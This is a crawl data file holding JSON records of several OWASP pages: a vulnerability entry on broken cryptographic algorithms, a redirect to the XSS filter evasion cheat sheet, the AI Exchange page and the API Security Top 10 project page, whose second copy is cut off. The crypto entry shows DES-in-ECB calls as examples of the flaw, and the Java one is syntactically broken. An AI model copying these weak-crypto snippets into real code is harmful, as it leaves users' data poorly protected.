nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Using_a_broken_or_risky_cryptographic_algorithm", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Using a broken or risky cryptographic algorithm on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Using a broken or risky cryptographic algorithm | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Using_a_broken_or_risky_cryptographic_algorithm", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Using a broken or risky cryptographic algorithm"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 2, "text": "References"}], "markdown": "# Using a broken or risky cryptographic algorithm\n\nThank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.\n\nThis is an example of a Project or Chapter Page.\n\n## Description\n\nAttempting to create non-standard and non-tested algorithms, using weak\nalgorithms, or applying algorithms incorrectly will pose a high weakness\nto data that is meant to be secure.\n\n**Consequences**\n\n- Confidentiality: The confidentiality of sensitive data may be\ncompromised by the use of a broken or risky cryptographic algorithm.\n- Integrity: The integrity of sensitive data may be compromised by the\nuse of a broken or risky cryptographic algorithm.\n- Accountability: Any accountability to message content preserved by\ncryptography may be subject to attack.\n\n**Exposure period**\n\n- Design: The decision as to what cryptographic algorithm to utilize\nis generally made at design time.\n\n**Platform**\n\n- Languages: All\n- Operating platforms: All\n\n**Required resources**\n\nAny\n\n**Severity**\n\nHigh\n\n**Likelihood of exploit**\n\nMedium to High\n\nSince the state of cryptography advances so rapidly, it is common to\nfind algorithms, which previously were considered to be safe, currently\nconsidered unsafe. In some cases, things are discovered, or processing\nspeed increases to the degree that the cryptographic algorithm provides\nlittle more benefit than the use of no cryptography at all.\n\n## Risk Factors\n\n- Use of custom cryptographic algorithms.\n- Use of weak and/or untested public algorithms.\n\n## Examples\n\nIn C/C++:\n\n```\nEVP_des_ecb();\n```\n\nIn Java:\n\n```\nCipher des=Cipher.getInstance(\"DES...);\ndes.initEncrypt(key2);\n```\n\n- [Attack 1](Attack_1)\n- [Attack 2](Attack_2)\n\n- [Failure to encrypt data](Failure_to_encrypt_data)\n\n- Design: Use a cryptographic algorithm that is currently considered\nto be strong by experts in the field.\n\n- [Technical Impact 1](Technical_Impact_1)\n- [Technical Impact 2](Technical_Impact_2)\n\n## References\n\nTBD\n\n**NOTOC**\n\n[Category:OWASP ASDR Project](Category:OWASP_ASDR_Project) [Category:Vulnerability](Category:Vulnerability) [Category:Cryptographic\nVulnerability](Category:Cryptographic_Vulnerability)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 2314, "slov": 294, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:59", "sha256": "87e5ab63ab9052b98c2efb39424e366e4f39dce2a1a515bb7b01af3f936a213e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/xss-filter-evasion-cheatsheet", "titulek": "Redirecting…", "h1": "Redirecting…", "popis": "", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html", "jazyk": "en-US", "robots_meta": "noindex", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Redirecting…"}], "markdown": "Redirecting… Redirecting… [Click here if you are not redirected.](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)", "znaku_textu": 149, "slov": 9, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:39", "sha256": "8a9828a5dee1ded7968e5625b9a5a2fd3b0ff77d83a455b0d14b04b9c34ded8e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html"]} {"url": "https://owasp.org/www-project-ai-security-and-privacy-guide/", "titulek": "OWASP AI Exchange | OWASP Foundation", "h1": "OWASP AI Exchange", "popis": "Guidance on designing, creating, testing, and procuring secure and privacy-preserving AI systems", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-ai-security-and-privacy-guide/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Guidance on designing, creating, testing, and procuring secure and privacy-preserving AI systems", "og:title": "OWASP AI Exchange | OWASP Foundation", "og:url": "https://owasp.org/www-project-ai-security-and-privacy-guide/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP AI Exchange"}, {"uroven": 2, "text": "Example"}], "markdown": "# OWASP AI Exchange\n\nFind the 200+ pages of material presented as the [OWASP AI Exchange website](https://owaspai.org)\n\nWelcome to the go-to resource for broad AI security & privacy - over 200 pages of practical advice and references on protecting AI and data-centric systems from threats. This content serves as key bookmark for practitioners, and is contributing actively and substantially to international standards such as ISO/IEC and the AI Act through official standard partnerships. Through broad collaboration with key institutes and SDOs, the Exchange represents the consensus on AI security and privacy.\n\n---\n\n## Example\n\nPut whatever you like here: news, screenshots, features, supporters, or remove this file and don’t use tabs at all.\n\n---\n\n[Watch](https://github.com/owasp/www-project-ai-security-and-privacy-guide/subscription) [Star](https://github.com/owasp/www-project-ai-security-and-privacy-guide)", "znaku_textu": 900, "slov": 125, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:52", "sha256": "7554a40ad99443030e196a49a696ffe3f38b07afaa111a7e3a25959accb7d06d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://owaspai.org/", "https://github.com/owasp/www-project-ai-security-and-privacy-guide/subscription", "https://github.com/owasp/www-project-ai-security-and-privacy-guide", "https://owasp.slack.com/archives/C04FV0D1GES", "https://github.com/OWASP/www-project-ai-security-and-privacy-guide/", "https://github.com/OWASP/www-project-ai-security-and-privacy-guide/issues", "https://github.com/OWASP/www-project-ai-security-and-privacy-guide/commits/", "https://www.linkedin.com/in/robvanderveer/", "https://www.iso.org/standard/81118.html", "https://owaspsamm.org/guidance/agile/", "https://www.opencre.org/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-api-security", "titulek": "OWASP API Security Project | OWASP Foundation", "h1": "OWASP API Security Project", "popis": "The API Security project focuses on strategies and solutions to understand and mitigate the unique vulnerabilities and security risks of Application Programming Interfaces (APIs)", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-api-security/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The API Security project focuses on strategies and solutions to understand and mitigate the unique vulnerabilities and security risks of Application Programming Interfaces (APIs)", "og:title": "OWASP API Security Project | OWASP Foundation", "og:url": "https://owasp.org/www-project-api-security/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Project"}, {"uroven": 2, "text": "What is API Security?"}, {"uroven": 2, "text": "API Security Top 10 2023"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Founders"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "2023 Sponsors"}, {"uroven": 2, "text": "2023 Contributors"}, {"uroven": 2, "text": "2019 Contributors"}, {"uroven": 2, "text": "Google Group"}, {"uroven": 2, "text": "GitHub Discussions"}, {"uroven": 2, "text": "GitHub"}, {"uroven": 2, "text": "Planned Projects"}, {"uroven": 2, "text": "Roadmap"}, {"uroven": 2, "text": "OWASP API Security Top 10 2023"}, {"uroven": 2, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Project\n\nCheck out the new \n [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/)!\n\n## What is API Security?\n\nA foundational element of innovation in today’s app-driven world is the API.\nFrom banks, retail and transportation to IoT, autonomous vehicles and smart\ncities, APIs are a critical part of modern mobile, SaaS and web applications and\ncan be found in customer-facing, partner-facing and internal applications. By\nnature, APIs expose application logic and sensitive data such as Personally\nIdentifiable Information (PII) and because of this have increasingly become a\ntarget for attackers. Without secure APIs, rapid innovation would be impossible.\n\nAPI Security focuses on strategies and solutions to understand and mitigate the\nunique vulnerabilities and security risks of Application Programming Interfaces\n(APIs).\n\n## API Security Top 10 2023\n\nHere is a sneak peek of the 2023 version:\n\n- **[API1:2023 - Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)** APIs tend to expose endpoints that handle object identifiers, creating a wide\nattack surface of Object Level Access Control issues. Object level\nauthorization checks should be considered in every function that accesses a\ndata source using an ID from the user. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/).\n- **[API2:2023 - Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)** Authentication mechanisms are often implemented incorrectly, allowing\nattackers to compromise authentication tokens or to exploit implementation\nflaws to assume other user’s identities temporarily or permanently.\nCompromising a system’s ability to identify the client/user, compromises API\nsecurity overall. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/).\n- **[API3:2023 - Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)** This category combines [API3:2019 Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) and\n[API6:2019 - Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/), focusing on the root cause: the lack\nof or improper authorization validation at the object property level. This\nleads to information exposure or manipulation by unauthorized parties.\n[Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/).\n- **[API4:2023 - Unrestricted Resource Consumption](https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/)** Satisfying API requests requires resources such as network bandwidth, CPU,\nmemory, and storage. Other resources such as emails/SMS/phone calls or\nbiometrics validation are made available by service providers via API\nintegrations, and paid for per request. Successful attacks can lead to Denial\nof Service or an increase of operational costs. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/).\n- **[API5:2023 - Broken Function Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/)** Complex access control policies with different hierarchies, groups, and roles,\nand an unclear separation between administrative and regular functions, tend\nto lead to authorization flaws. By exploiting these issues, attackers can gain\naccess to other users’ resources and/or administrative functions. [Continue\nreading](https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/).\n- **[API6:2023 - Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)** APIs vulnerable to this risk expose a business flow - such as buying a ticket,\nor posting a comment - without compensating for how the functionality could\nharm the business if used excessively in an automated manner. This doesn’t\nnecessarily come from implementation bugs. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/).\n- **[API7:2023 - Server Side Request Forgery](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)** Server-Side Request Forgery (SSRF) flaws can occur when an API is fetching a\nremote resource without validating the user-supplied URI. This enables an\nattacker to coerce the application to send a crafted request to an unexpected\ndestination, even when protected by a firewall or a VPN. [Continue\nreading](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/).\n- **[API8:2023 - Security Misconfiguration](https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/)** APIs and the systems supporting them typically contain complex configurations,\nmeant to make the APIs more customizable. Software and DevOps engineers can\nmiss these configurations, or don’t follow security best practices when it\ncomes to configuration, opening the door for different types of attacks.\n[Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/).\n- **[API9:2023 - Improper Inventory Management](https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/)** APIs tend to expose more endpoints than traditional web applications, making\nproper and updated documentation highly important. A proper inventory of hosts\nand deployed API versions also are important to mitigate issues such as\ndeprecated API versions and exposed debug endpoints. [Continue\nreading](https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/).\n- **[API10:2023 - Unsafe Consumption of APIs](https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/)** Developers tend to trust data received from third-party APIs more than user\ninput, and so tend to adopt weaker security standards. In order to compromise\nAPIs, attackers go after integrated third-party services instead of trying to\ncompromise the target API directly. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/).\n\n## Licensing\n\n**The OWASP API Security Project documents are free to use!**\n\nThe OWASP API Security Project is licensed under the [Creative Commons\nAttribution-ShareAlike 4.0 license](https://creativecommons.org/licenses/by-sa/4.0/), so you can copy, distribute and\ntransmit the work, and you can adapt it, and use it commercially, but all\nprovided that you attribute the work and if you alter, transform, or build upon\nthis work, you may distribute the resulting work only under the same or similar\nlicense to this one.\n\n---\n\n## Founders\n\n- [Erez Yalon](https://www.owasp.org/index.php/User:ErezYalon)\n- [Inon Shkedy](https://www.owasp.org/index.php/User:Inon)\n\n## Leaders\n\n- [Erez Yalon](https://www.owasp.org/index.php/User:ErezYalon)\n- [Inon Shkedy](https://www.owasp.org/index.php/User:Inon)\n- [Paulo Silva](https://www.owasp.org/index.php/User:PauloASilva)\n\n## 2023 Sponsors\n\n## 2023 Contributors\n\n247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8,\nd0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês\nMartins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB,\nllegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan\nPiyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj,\nwenz, xplo1t-sec, Yaniv Balmas, ynvb\n\n## 2019 Contributors\n\n007divyachawla, Abid Khan, Adam Fisher, anotherik, bkimminich, caseysoftware,\nChris Westphal, dsopas, DSotnikov, emilva, ErezYalon, flascelles, Guillaume\nBenats, IgorSasovets, Inonshk, JonnySchnittger, jmanico, jmdx, Keith Casey,\nkozmic, LauraRosePorter, Matthieu Estrade, nathanawmk, PauloASilva, pentagramz,\nphilippederyck, pleothaud, r00ter, Raj kumar, Sagar Popat, Stephen Gates,\nthomaskonrad, xycloops123, Raphael Hagi, Eduardo Bellis, Bruno Barbosa\n\n---\n\n## Google Group\n\nJoin the discussion on the [OWASP API Security Project Google group](https://groups.google.com/a/owasp.org/d/forum/api-security-project).\n\nThis is the best place to introduce yourself, ask questions, suggest and discuss\nany topic that is relevant to the project.\n\n## GitHub Discussions\n\nYou can also use [GitHub Discussions](https://github.com/OWASP/API-Security/discussions) as a place to connect with other community\nmembers, asking questions or sharing ideas.\n\n## GitHub\n\nThe project is maintained in the [OWASP API Security Project repo](https://github.com/OWASP/API-Security).\n\n**The latest changes are under the [`develop` branch](https://github.com/OWASP/API-Security/tree/develop)**.\n\nFeel free to open or solve an [issue](https://github.com/OWASP/API-Security/issues).\n\nReady to contribute directly into the repo? Great! Just make sure you read the\n[How to Contribute guide](https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md).\n\n---\n\n- **Jun 28th, 2024** OWASP API Security Project - Past Present and Future @ OWASP Global AppSec\nLisbon 2024 ([YouTube](https://www.youtube.com/watch?v=hn4mgTu5izg))\n- **Jun 3rd, 2024** [OWASP API Security Top 10 2023 French translation](https://owasp.org/API-Security/editions/2023/fr/0x00-header/) release.\n- **Jun 5th, 2023** [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/) stable version was publicly\nreleased.\n- **Feb 14, 2023** [OWASP API Security Top 10 2023 Release Candidate](announcements/2023/02/api-top10-2023rc) is\nnow available.\n- **Aug 30, 2022** [OWASP API Security Top 10 2022 call for data](announcements/cfd/2022/)\nis open.\n- **Oct 30, 2020** [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html) release.\nA truly community effort whose [log and contributors list are available at\nGitHub](https://github.com/OWASP/CheatSheetSeries/pull/434).\n- **Apr 4, 2020** [OWASP API Security Top 10 2019 pt-PT translation](https://github.com/OWASP/API-Security/raw/master/2019/pt-pt/dist/owasp-api-security-top-10.pdf) release.\n- **Mar 27, 2020** [OWASP API Security Top 10 2019 pt-BR translation](https://github.com/OWASP/API-Security/raw/master/2019/pt-br/dist/owasp-api-security-top-10-pt-br.pdf) release.\n- **Dec 26, 2019** OWASP API Security Top 10 2019 stable version release.\n- **Sep 30, 2019** The RC of API Security Top-10 List was published during [OWASP Global AppSec\nAmsterdam](https://ams.globalappsec.org/) ([slide deck](https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10-rc-global-appsec-ams.pdf))\n- **Sep 13, 2019** The RC of API Security Top-10 List was published during [OWASP Global AppSec\nDC](https://dc.globalappsec.org/) ([slide deck](https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10.pdf))\n- **May 30, 2019** The API Security Project was Kicked-Off during [OWASP Global AppSec Tel\nAviv](https://telaviv.appsecglobal.org/) ([slide deck](https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/owasp-api-security-project-kick-off.pdf))\n\n---\n\n## Planned Projects\n\n- API Security Top 10\n- API Security Cheat Sheet\n- crAPI - **C** ompletely **R** idiculous **API** , an intentionally vulnerable API\nproject)\n\n## Roadmap\n\n---\n\n## OWASP API Security Top 10 2023\n\n- [Bahasa (Indonesian)](https://owasp.org/API-Security/editions/2023/id/0x00-header/) [Faiz Ahmed Zaidi](https://github.com/faizzaidi)\n- [French](https://owasp.org/API-Security/editions/2023/fr/0x00-header/) [Aurélien Troncy](https://www.linkedin.com/in/aur%C3%A9lien-troncy-214075229/), [Laurent Legaz](https://github.com/llegaz)\n- [Persian](https://owasp.org/API-Security/editions/2023/fa/0x00-header/) [Alireza Mostame](https://www.linkedin.com/in/alireza-mostame-29970b242), [Maryam Javadi Hoseini](https://www.linkedin.com/in/maryam-javadi-353b1744/), [Mohammad Reza Ismaeli Taba](https://www.linkedin.com/in/rezataba),\n[RNPG](https://www.linkedin.com/company/raspina-net-pars/)\n- [Português (Portugal)](https://owasp.org/API-Security/editions/2023/pt-pt/0x00-header/) [Rui Silva](https://www.linkedin.com/in/rspro/)\n\n## OWASP API Security Top 10 2019\n\n- [Arabic](https://owasp.org/API-Security/editions/2019/ar/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/ar/dist/owasp-api-security-top-10-ar.pdf), [ODT](https://owasp.org/API-Security/editions/2019/ar/dist/owasp-api-security-top-10-ar.odt)) [Malek Aldossary](http://twitter.com/malajab), [Sabri Hassanyah](https://twitter.com/kingsabri), [Mostafa Alaqsm](https://twitter.com/malaqsm), [Fahad Alduraibi](https://twitter.com/fahad_alduraibi),\n[Thamer Alshammeri](https://twitter.com/t44t_), [Mohammed Alsuhaymi](https://twitter.com/msuhaymi)\n- [French](https://owasp.org/API-Security/editions/2019/fr/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/fr/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/fr/dist/owasp-api-security-top-10.odt)) [Fred](https://github.com/datakime), [Laurent Legaz](https://github.com/llegaz)\n- [German](https://owasp.org/API-Security/editions/2019/de/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/de/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/de/dist/owasp-api-security-top-10.odt)) [Moritz Gruber](https://www.linkedin.com/in/moritz-gruber-734a43199/), [Nick Lorenz](https://www.linkedin.com/in/nick-lorenz-16b211222/), [Steffen Thamm](https://www.linkedin.com/in/steffen-thamm-a8341a27b/), [Tim B.](https://www.linkedin.com/in/domai-tb/)\n- [Greek](https://owasp.org/API-Security/editions/2019/el-gr/0x00-header/) ([PDF](https://owasp.org/API-Security/editions/2019/el-gr/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/el-gr/dist/owasp-api-security-top-10.odt)) [Athanasios Emmanouilidis](https://www.linkedin.com/in/athanasiosem/), [Apostolos Giannakidis](https://www.linkedin.com/in/giannakidisapostolos/)\n- [Persian](https://owasp.org/API-Security/editions/2019/fa/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/fa/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/fa/dist/owasp-api-security-top-10.odt)) [Alireza Mostame](https://www.linkedin.com/in/alireza-mostame-29970b242), [Mohammad Reza Ismaeli Taba](https://www.linkedin.com/in/rezataba), [Amirmahdi Nowbakht](https://www.linkedin.com/in/amirmahdi-nowbakht-3b8865200),\n[RNPG](https://www.linkedin.com/company/raspina-net-pars/)\n- [Portuguese (Brazil)](https://owasp.org/API-Security/editions/2019/pt-BR/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.pdf), [ODT](https://owasp.org/API-Security/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.odt)) [Raphael Hagi](https://www.linkedin.com/in/raphael-hagi/), [Eduardo Bellis](https://www.linkedin.com/in/eduardo-bellis-92482534/),\n[Bruno Barbosa](https://www.linkedin.com/in/bbarbosa85/)\n- [Portuguese (Portugal)](https://owasp.org/API-Security/editions/2019/pt-pt/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/pt-pt/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/pt-pt/dist/owasp-api-security-top-10.odt)) [Paulo A. Silva](https://www.linkedin.com/in/devpauloasilva/), [Rui Silva](https://www.linkedin.com/in/rspro/)\n- [Russian](https://owasp.org/API-Security/editions/2019/ru/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/ru/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/ru/dist/owasp-api-security-top-10.odt)) [Eugene Rojavski](https://twitter.com/eugenerojavski), [act1on3](https://twitter.com/act1on3), keni0k\n\n---\n\n[Watch](https://github.com/OWASP/API-Security/subscription) [Star](https://github.com/OWASP/API-Security)", "znaku_textu": 16109, "slov": 1576, "odkazu": 126, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:25:18", "sha256": "7cb72be48697077db58166f0cfc48b03729c6b89e1a5e8c3267d24317bbb735f", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://www.owasp.org/index.php/User:ErezYalon", "https://www.owasp.org/index.php/User:Inon", "https://www.owasp.org/index.php/User:PauloASilva", "https://groups.google.com/a/owasp.org/d/forum/api-security-project", "https://github.com/OWASP/API-Security/discussions", "https://github.com/OWASP/API-Security", "https://github.com/OWASP/API-Security/tree/develop", "https://github.com/OWASP/API-Security/issues", "https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md", "https://www.youtube.com/watch?v=hn4mgTu5izg", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://github.com/OWASP/CheatSheetSeries/pull/434", "https://github.com/OWASP/API-Security/raw/master/2019/pt-pt/dist/owasp-api-security-top-10.pdf", "https://github.com/OWASP/API-Security/raw/master/2019/pt-br/dist/owasp-api-security-top-10-pt-br.pdf", "https://ams.globalappsec.org/", "https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10-rc-global-appsec-ams.pdf", "https://dc.globalappsec.org/", "https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10.pdf", "https://telaviv.appsecglobal.org/", "https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/owasp-api-security-project-kick-off.pdf", "https://github.com/faizzaidi", "https://www.linkedin.com/in/aur%C3%A9lien-troncy-214075229/", "https://github.com/llegaz", "https://www.linkedin.com/in/alireza-mostame-29970b242", "https://www.linkedin.com/in/maryam-javadi-353b1744/", "https://www.linkedin.com/in/rezataba", "https://www.linkedin.com/company/raspina-net-pars/", "https://www.linkedin.com/in/rspro/", "http://twitter.com/malajab", "https://twitter.com/kingsabri", "https://twitter.com/malaqsm", "https://twitter.com/fahad_alduraibi", "https://twitter.com/t44t_", "https://twitter.com/msuhaymi", "https://github.com/datakime", "https://www.linkedin.com/in/moritz-gruber-734a43199/", "https://www.linkedin.com/in/nick-lorenz-16b211222/", "https://www.linkedin.com/in/steffen-thamm-a8341a27b/", "https://www.linkedin.com/in/domai-tb/", "https://www.linkedin.com/in/athanasiosem/", "https://www.linkedin.com/in/giannakidisapostolos/", "https://www.linkedin.com/in/amirmahdi-nowbakht-3b8865200", "https://www.linkedin.com/in/raphael-hagi/", "https://www.linkedin.com/in/eduardo-bellis-92482534/", "https://www.linkedin.com/in/bbarbosa85/", "https://www.linkedin.com/in/devpauloasilva/", "https://twitter.com/eugenerojavski", "https://twitter.com/act1on3", "https://github.com/OWASP/API-Security/subscription", "http://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-api-security/", "titulek": "OWASP API Security Project | OWASP Foundation", "h1": "OWASP API Security Project", "popis": "The API Security project focuses on strategies and solutions to understand and mitigate the unique vulnerabilities and security risks of Application Programming Interfaces (APIs)", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-api-security/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The API Security project focuses on strategies and solutions to understand and mitigate the unique vulnerabilities and security risks of Application Programming Interfaces (APIs)", "og:title": "OWASP API Security Project | OWASP Foundation", "og:url": "https://owasp.org/www-project-api-security/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Project"}, {"uroven": 2, "text": "What is API Security?"}, {"uroven": 2, "text": "API Security Top 10 2023"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Founders"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "2023 Sponsors"}, {"uroven": 2, "text": "2023 Contributors"}, {"uroven": 2, "text": "2019 Contributors"}, {"uroven": 2, "text": "Google Group"}, {"uroven": 2, "text": "GitHub Discussions"}, {"uroven": 2, "text": "GitHub"}, {"uroven": 2, "text": "Planned Projects"}, {"uroven": 2, "text": "Roadmap"}, {"uroven": 2, "text": "OWASP API Security Top 10 2023"}, {"uroven": 2, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Project\n\nCheck out the new \n [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/)!\n\n## What is API Security?\n\nA foundational element of innovation in today’s app-driven world is the API.\nFrom banks, retail and transportation to IoT, autonomous vehicles and smart\ncities, APIs are a critical part of modern mobile, SaaS and web applications and\ncan be found in customer-facing, partner-facing and internal applications. By\nnature, APIs expose application logic and sensitive data such as Personally\nIdentifiable Information (PII) and because of this have increasingly become a\ntarget for attackers. Without secure APIs, rapid innovation would be impossible.\n\nAPI Security focuses on strategies and solutions to understand and mitigate the\nunique vulnerabilities and security risks of Application Programming Interfaces\n(APIs).\n\n## API Security Top 10 2023\n\nHere is a sneak peek of the 2023 version:\n\n- **[API1:2023 - Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)** APIs tend to expose endpoints that handle object identifiers, creating a wide\nattack surface of Object Level Access Control issues. Object level\nauthorization checks should be considered in every function that accesses a\ndata source using an ID from the user. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/).\n- **[API2:2023 - Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)** Authentication mechanisms are often implemented incorrectly, allowing\nattackers to compromise authentication tokens or to exploit implementation\nflaws to assume other user’s identities temporarily or permanently.\nCompromising a system’s ability to identify the client/user, compromises API\nsecurity 